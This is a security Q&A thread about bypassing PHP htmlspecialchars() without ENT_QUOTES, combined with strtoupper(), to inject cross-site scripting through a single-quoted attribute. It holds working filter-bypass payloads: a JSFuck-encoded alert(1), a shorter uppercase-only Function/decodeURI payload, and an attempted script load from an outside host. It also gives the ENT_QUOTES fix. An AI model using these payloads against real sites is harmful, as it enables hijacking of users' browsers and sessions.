10

I've looked into a bit of pentesting but the following is eluding me, I think I've got it but I can't get it to trigger!

Trying to bypass the following:

$strippedID = htmlspecialchars($ID);
$NEWID = strtoupper($strippedID);
...
echo "Tag ID: <input type='text' value='".$NEWID."'>";

So far I've tried:

test-xss.php?id=%27%20onload=%27javascript:alert(`XSS`)

This doesn't work because the alert function is changed to uppercase, and so an error is thrown in the console. I've also tried encoding the whole request parameters.

test-xss.php?id=x%27%3E%3CSCRIPT%20SRC=http://xss.rocks/xss.js%3E%3C/SCRIPT%3E%3Ci%20z=%27x

and this doesn't seem to want to work because even though the <> are encoded they still seem to come out as & lt; and & gt;

Maybe only attack is charset UTF-7?

Any ideas?

Improve this question
0

1 Answer 1

Reset to default
18

Your parameter $ID is printed inside an HTML tag attribute value. Unfortunately, it's run through htmlspecialchars() which is supposed to encode HTML-significant characters. Since the function doesn't have the ENT_QUOTES flag set, it will escape <, >, &, ", but not ' (single quotes). Lucky for you, the value is enclosed by such single quotes, so you can use ' to break out of the attribute.

Next, you'd want to close the tag and start a new one (e.g. <script>) but htmlspecialchars() doesn't let you (as it escapes > and <). So instead, you have to use an event handler that works for <input> tags. The onload event handler doesn't apply to input boxes but you can use others, e.g.onmouseover. (The side effect is that you will need minimal user interaction to trigger the XSS, or need to take advantage of additional attributes like autofocus to have it triggered immediately on page load.)

So we have this:

<input type='text' value='' onmouseover='(javascript payload)'>
                          |-------------- $ID --------------|

Now, you can't just use plain JS like alert(1) as the payload since the value also runs through strtoupper() that would capitalize the function name to ALERT(1) which is invalid. Instead, you need to find JS code that works with capitals only, or even better, without any letters at all. For that you can use a tool like JSFuck that translates any JS code into an equivalent representation without any letters.

For example, alert(1) becomes:

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

So, this would be a working XSS PoC:

' onmouseover='[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

If using JSFuck is impractical for you (e.g. due to URL length restrictions as @chefarov remarked) there are other techniques that work without lowercase letters. E.g., the attribute value can be put entirely as HTML entities so that the a of alert is written as &#X61; and so on. (In your specific scenario you can't use this because htmlspecialchars() would also escape any &.)

However, here's a PoC of a shorter payload that avoids lowercase letters:

xss.php?xss='+autofocus+onfocus=U%3D[][[]]%2B''%3BY%3D[][U[4]%2BU[5]%2BU[6]%2BU[8]]%3BX%3DY%2B''%3BT%3D(!![]%2B'')%3BF%3D(![]%2B'')%3BZ%3DU[8]%2BU[3]%2BX[30]%2BX[31]%2BU[8]%2BU[3]%2B'URI'%3BG%3DY[X[3]%2BX[6]%2BX[2]%2BF[3]%2BT[0]%2BT[1]%2BT[2]%2BX[3]%2BT[0]%2BX[31]%2BT[1]]%3BG(U[3]%2BX[27]%2BF[1]%2BF[2]%2B'('%2BZ%2B'(`%2561%256C%2565%2572%2574%2528%2527%2578%2573%2573%2527%2529`))')()//

(I'm essentially assembling Function(eval(decodeURI(...))) without lowercase letters and can then feed it the actual payload URL-encoded (e.g. a => %61) which never requires lowercase letters.)

The fix

You should encode both double and single quotes by adding the ENT_QUOTES flag:

$NEWID = strtoupper(htmlspecialchars($ID, ENT_QUOTES));
Improve this answer
6
  • 2
    Finding htmlspecialchars too much effort to type, I make a function with a shorter name, and force ENT_QUOTES. doing the right thing should be easy, not hard. function hsc($s){ return htmlspecialchars($s, ENT_QUOTES));}
    – Jasen
    Commented Dec 19, 2016 at 8:25
  • nice answer. However using jsfuck is unrealistic, since any useful JS (instead of alert), will produce too long URI causing a 414 response
    – chefarov
    Commented Oct 10, 2018 at 10:31
  • @chefarov Good point. I added an approach that doesn't invlove JSFuck to the answer.
    – Arminius
    Commented Oct 10, 2018 at 12:31
  • @Arminius Thanks for your reply. If I encode the payload to HTML entities and test on the question's example it will print empty string on value. If I try HEX-coded payload, it will decode the payload and print the evaluated text as upper case. The browsers are evolving and diverging too fast so I assume that's always try & error situations. Anyway good to know that there is an ENT_QUOTES argument.
    – chefarov
    Commented Oct 10, 2018 at 17:04
  • 1
    @chefarov My bad, I forgot that htmlentities() encodes &#X61; to &amp;#X61; making that approach unfeasible. But as a proof of concept, I outlined yet another technique that's inspired by JSFuck but much shorter.
    – Arminius
    Commented Oct 10, 2018 at 21:47

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .